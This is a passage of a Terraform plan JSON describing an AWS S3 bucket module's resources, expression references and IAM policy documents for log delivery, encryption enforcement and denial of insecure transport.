[\n                          \"aws_s3_bucket_website_configuration.this[0].website_endpoint\",\n                          \"aws_s3_bucket_website_configuration.this[0]\",\n                          \"aws_s3_bucket_website_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The website endpoint, if the bucket is configured with a website. If not, this will be an empty string.\"\n                    }\n                  },\n                  \"resources\": [\n                    {\n                      \"address\": \"aws_s3_bucket.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"var.bucket\"\n                          ]\n                        },\n                        \"bucket_prefix\": {\n                          \"references\": [\n                            \"var.bucket_prefix\"\n                          ]\n                        },\n                        \"force_destroy\": {\n                          \"references\": [\n                            \"var.force_destroy\"\n                          ]\n                        },\n                        \"object_lock_enabled\": {\n                          \"references\": [\n                            \"var.object_lock_enabled\"\n                          ]\n                        },\n                        \"tags\": {\n                          \"references\": [\n                            \"var.tags\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_accelerate_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_accelerate_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"status\": {\n                          \"references\": [\n                            \"var.acceleration_status\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.acceleration_status\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_acl.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_acl\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"acl\": {\n                          \"references\": [\n                            \"var.acl\",\n                            \"var.acl\"\n                          ]\n                        },\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.create_bucket_acl\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_ownership_controls.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_analytics_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_analytics_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"var.analytics_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_cors_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_cors_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.cors_rules\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_intelligent_tiering_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_intelligent_tiering_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        },\n                        \"status\": {\n                          \"references\": [\n                            \"each.value.status\",\n                            \"each.value\",\n                            \"each.value.status\",\n                            \"each.value\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"local.intelligent_tiering\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_inventory.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_inventory\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"each.value.bucket\",\n                            \"each.value\",\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"destination\": [\n                          {\n                            \"bucket\": [\n                              {\n                                \"account_id\": {\n                                  \"references\": [\n                                    \"each.value.destination.account_id\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                },\n                                \"bucket_arn\": {\n                                  \"references\": [\n                                    \"each.value.destination.bucket_arn\",\n                                    \"each.value.destination\",\n                                    \"each.value\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\"\n                                  ]\n                                },\n                                \"format\": {\n                                  \"references\": [\n                                    \"each.value.destination.format\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                },\n                                \"prefix\": {\n                                  \"references\": [\n                                    \"each.value.destination.prefix\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                }\n                              }\n                            ]\n                          }\n                        ],\n                        \"enabled\": {\n                          \"references\": [\n                            \"each.value.enabled\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"included_object_versions\": {\n                          \"references\": [\n                            \"each.value.included_object_versions\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        },\n                        \"optional_fields\": {\n                          \"references\": [\n                            \"each.value.optional_fields\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"schedule\": [\n                          {\n                            \"frequency\": {\n                              \"references\": [\n                                \"each.value.frequency\",\n                                \"each.value\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"var.inventory_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.lifecycle_rules\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_versioning.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_logging.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_logging\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"target_bucket\": {\n                          \"references\": [\n                            \"var.logging[\\\"target_bucket\\\"]\",\n                            \"var.logging\"\n                          ]\n                        },\n                        \"target_prefix\": {\n                          \"references\": [\n                            \"var.logging[\\\"target_prefix\\\"]\",\n                            \"var.logging\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.logging\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_metric.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_metric\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.value.name\",\n                            \"each.value\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"local.metric_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_object_lock_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_object_lock_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"rule\": [\n                          {\n                            \"default_retention\": [\n                              {\n                                \"days\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.days\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                },\n                                \"mode\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.mode\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                },\n                                \"years\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.years\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                }\n                              }\n                            ]\n                          }\n                        ],\n                        \"token\": {\n                          \"references\": [\n                            \"var.object_lock_configuration.token\",\n                            \"var.object_lock_configuration\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.object_lock_enabled\",\n                          \"var.object_lock_configuration.rule.default_retention\",\n                          \"var.object_lock_configuration.rule\",\n                          \"var.object_lock_configuration\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_ownership_controls.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_ownership_controls\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"local.attach_policy\",\n                            \"aws_s3_bucket_policy.this[0].id\",\n                            \"aws_s3_bucket_policy.this[0]\",\n                            \"aws_s3_bucket_policy.this\",\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"rule\": [\n                          {\n                            \"object_ownership\": {\n                              \"references\": [\n                                \"var.object_ownership\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.control_object_ownership\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_policy.this\",\n                        \"aws_s3_bucket_public_access_block.this\",\n                        \"aws_s3_bucket.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_policy.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_policy\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"policy\": {\n                          \"references\": [\n                            \"data.aws_iam_policy_document.combined[0].json\",\n                            \"data.aws_iam_policy_document.combined[0]\",\n                            \"data.aws_iam_policy_document.combined\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.attach_policy\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_public_access_block.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_public_access_block.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_public_access_block\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"block_public_acls\": {\n                          \"references\": [\n                            \"var.block_public_acls\"\n                          ]\n                        },\n                        \"block_public_policy\": {\n                          \"references\": [\n                            \"var.block_public_policy\"\n                          ]\n                        },\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"ignore_public_acls\": {\n                          \"references\": [\n                            \"var.ignore_public_acls\"\n                          ]\n                        },\n                        \"restrict_public_buckets\": {\n                          \"references\": [\n                            \"var.restrict_public_buckets\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_public_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_replication_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_replication_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"role\": {\n                          \"references\": [\n                            \"var.replication_configuration[\\\"role\\\"]\",\n                            \"var.replication_configuration\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.replication_configuration\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_versioning.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_request_payment_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_request_payment_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"payer\": {\n                          \"references\": [\n                            \"var.request_payer\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.request_payer\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_server_side_encryption_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_server_side_encryption_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.server_side_encryption_configuration\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_versioning.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_versioning\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"mfa\": {\n                          \"references\": [\n                            \"var.versioning[\\\"mfa\\\"]\",\n                            \"var.versioning\"\n                          ]\n                        },\n                        \"versioning_configuration\": [\n                          {\n                            \"mfa_delete\": {\n                              \"references\": [\n                                \"var.versioning[\\\"mfa_delete\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"mfa_delete\\\"]\",\n                                \"var.versioning\"\n                              ]\n                            },\n                            \"status\": {\n                              \"references\": [\n                                \"var.versioning[\\\"enabled\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"status\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"status\\\"]\",\n                                \"var.versioning\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.versioning\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_website_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_website_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.website\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_caller_identity.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_caller_identity\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"schema_version\": 0\n                    },\n                    {\n                      \"address\": \"data.aws_canonical_user_id.this\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_canonical_user_id\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.create_bucket_acl\",\n                          \"var.owner[\\\"id\\\"]\",\n                          \"var.owner\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.access_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"access_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logging.s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSAccessLogDeliveryWrite\"\n                            }\n                          },\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:GetBucketAcl\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logging.s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSAccessLogDeliveryAclCheck\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_access_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.combined\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"combined\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"source_policy_documents\": {\n                          \"references\": [\n                            \"var.attach_elb_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.elb_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.elb_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.elb_log_delivery\",\n                            \"var.attach_lb_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.lb_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.lb_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.lb_log_delivery\",\n                            \"var.attach_access_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.access_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.access_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.access_log_delivery\",\n                            \"var.attach_require_latest_tls_policy\",\n                            \"data.aws_iam_policy_document.require_latest_tls[0].json\",\n                            \"data.aws_iam_policy_document.require_latest_tls[0]\",\n                            \"data.aws_iam_policy_document.require_latest_tls\",\n                            \"var.attach_deny_insecure_transport_policy\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport[0].json\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport[0]\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport\",\n                            \"var.attach_deny_unencrypted_object_uploads\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                            \"var.attach_deny_incorrect_kms_key_sse\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                            \"var.attach_deny_incorrect_encryption_headers\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                            \"var.attach_inventory_destination_policy\",\n                            \"var.attach_analytics_destination_policy\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                            \"var.attach_policy\",\n                            \"var.policy\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.attach_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_incorrect_encryption_headers\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringNotEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\",\n                                    \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default\",\n                                    \"var.server_side_encryption_configuration.rule\",\n                                    \"var.server_side_encryption_configuration\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyIncorrectEncryptionHeaders\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_incorrect_encryption_headers\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_incorrect_kms_key_sse\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringNotEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.allowed_kms_key_arn\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption-aws-kms-key-id\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyIncorrectKmsKeySse\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_incorrect_kms_key_sse\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_insecure_transport\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_insecure_transport\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:*\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"Bool\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"false\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SecureTransport\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n    